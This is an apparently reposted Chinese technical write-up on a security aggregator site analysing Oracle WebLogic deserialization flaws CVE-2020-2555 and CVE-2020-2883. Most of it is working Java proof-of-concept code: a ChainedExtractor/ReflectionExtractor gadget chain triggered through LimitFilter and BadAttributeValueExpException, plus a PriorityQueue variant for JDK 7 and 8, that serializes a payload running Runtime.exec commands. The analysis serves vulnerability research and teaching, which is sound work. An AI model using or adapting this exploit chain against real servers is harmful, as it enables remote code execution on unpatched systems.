Sec Hotspot 首页  排行榜  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13722 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
Weblogic 2020-2555&2883分析
本文来自公众号:邑安全   2020.08.07 10:27:37


更多全球网络安全资讯尽在邑安全

Weblogic 2020-2555&2883分析

这两个洞是相近的,所以放在一起讲

  • 共通的核心触发点

    1. ChainedExtractor

      public class ChainedExtractor extends AbstractCompositeExtractor {
      ......
      public ChainedExtractor(ValueExtractor[] aExtractor) {
      super(aExtractor);
      }

      ......
      public Object extract(Object oTarget) {
      ValueExtractor[] aExtractor = this.getExtractors();
      int i = 0;

      for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
      oTarget = aExtractor[i].extract(oTarget);
      }

      return oTarget;
      }
      ......
      }

      可以清楚的看到ChainedExtractor,在进行extract的时候,会遍历自己的属性 m_aExtractor (继承与父类),将数组中的每一项进行extract,之后再结果作为下一个extract的参数

    2. ReflectionExtractor

      public class ReflectionExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite, PortableObject {
      protected String m_sMethod;
      protected Object[] m_aoParam;
      private transient Method m_methodPrev;

      public ReflectionExtractor() {
      }

      public ReflectionExtractor(String sMethod) {
      this(sMethod, (Object[])null, 0);
      }

      public ReflectionExtractor(String sMethod, Object[] aoParam) {
      this(sMethod, aoParam, 0);
      }
      ......
      public Object extract(Object oTarget) {
      if (oTarget == null) {
      return null;
      } else {
      Class clz = oTarget.getClass();

      try {
      Method method = this.m_methodPrev;
      if (method == null || method.getDeclaringClass() != clz) {
      this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false);
      }

      return method.invoke(oTarget, this.m_aoParam);
      } catch (NullPointerException var4) {
      throw new RuntimeException(this.suggestExtractFailureCause(clz));
      } catch (Exception var5) {
      throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
      }
      }
      }

      这里的extractor有我们想要的东西 method.invoke(oTarget, this.m_aoParam); ,全部可控,相当于我们可以直接调用任何的方法

此时,如果是学习过Java反序列化利用链的你,大脑肯定飘过了,我们最熟悉的CC链,这里直接上截图,ysoserial的payload截图

我们直接来进行类似的构造

public class Test2 {
public static void main(String[] args) throws Exception {
ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c",
"open /System/Applications/Calculator.app"}});

ValueExtractor[] valueExtractors = new ValueExtractor[]{
first,
second,
third,
};

ChainedExtractor puzzle = new ChainedExtractor(valueExtractors);
puzzle.extract(Runtime.class);
}
}

运行后,即可发现弹出了计算机(third中请按照自己的环境环境进行修改cmd中的具体参数)。

可以说是完全一致,唯一的区别就是, transform extract ,那么我们只需要找到一个触发点,类似LazyMap,最后漏洞作者,发现了一个符合的类LimitFilter

public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
if (this.m_comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m_comparator;
sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
} else if (this.m_comparator != null) {
sb.append(", comparator=").append(this.m_comparator);
}

sb.append("])");
return sb.toString();
}

toString 在中间两次调用了extract,且参数都可控,然后最后一步,还是抄袭cc链,我们的老朋友 BadAttributeValueExpException

反序列化时直接就触发了toString,最后payload

public class Poc1 {


public static void main(String[] args) throws Exception {

ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[] {"getRuntime", new Class[0]},1);

ReflectionExtractor second = new ReflectionExtractor("invoke",new Object[]{null,null});


ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{"open /System/Applications/Calculator.app"},1);
// ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{new String[]{"/bin/bash","- c","echo " +
// "\"123\" > /tmp/123.txt"}});


Object input = Runtime.class;

ChainedExtractor b = new ChainedExtractor(new ReflectionExtractor[]{
first,second,third,
});

LimitFilter c = new LimitFilter();
c.setComparator(b);
c.setTopAnchor(input);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val,c);

File file = new File("./payload.ser");
FileOutputStream fo = new FileOutputStream(file);
ObjectOutputStream os = new ObjectOutputStream(fo);
os.writeObject(val);

FileInputStream fi = new FileInputStream("./payload.ser");
ObjectInput oi = new ObjectInputStream(fi);
oi.readObject();

}
}

最后的几行是模拟传输后,反序列化的过程

弥补遗憾

BadAttributeValueExpException 这个利用链并不能通杀,原因在于我们在jdk7中,是不存在toString(),这种操作的,因此,我们只能寻求别的办法,由于太像cc链了,所以我们去看看ysoserial中有什么骚操作,我们可以在CC2这条链中找到答案,这个链可以通杀主流的7,8版本

如果存在有compare可以触发extract,那么就可以替换那一环就完成整个链

这里就可以完成,我们就可以快乐照抄了

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");

跑起来在这里卡住了,进行debug,我们可以发现,在进行add的时候会进入

在这里进行一轮compare,但由于我们在初始化的时候已经将调用链放入了其comparator参数中,所以会导致我们在这里就触发一轮链式攻击,但是queue必须要进行进行,初始化占位

  • 解决方案

    我们先将一个正常的comparator初始化进入(ysoserial中前半部分基本照搬就行),完成add操作后再用反射,取出

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};

ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");

Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(chainedExtractor1, valueExtractors);

Field f = queue.getClass().getDeclaredField("queue");
f.setAccessible(true);
Object[] queueArray = (Object[]) f.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";

至此我们完成了jdk7,8的通用poc,与此同时,我们也完成了对2883的分析,原因在与2883只是单纯修复我们的第一条链的第二环节,不过于此同时这个第二环可以用ConcurrentSkipListMap$SubMap和Mutations替代,这个有些复杂,大家可以自己去尝试

总结

  1. 要细心总结,玩了很多年的洞,说不定会换种形式,再归来

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP)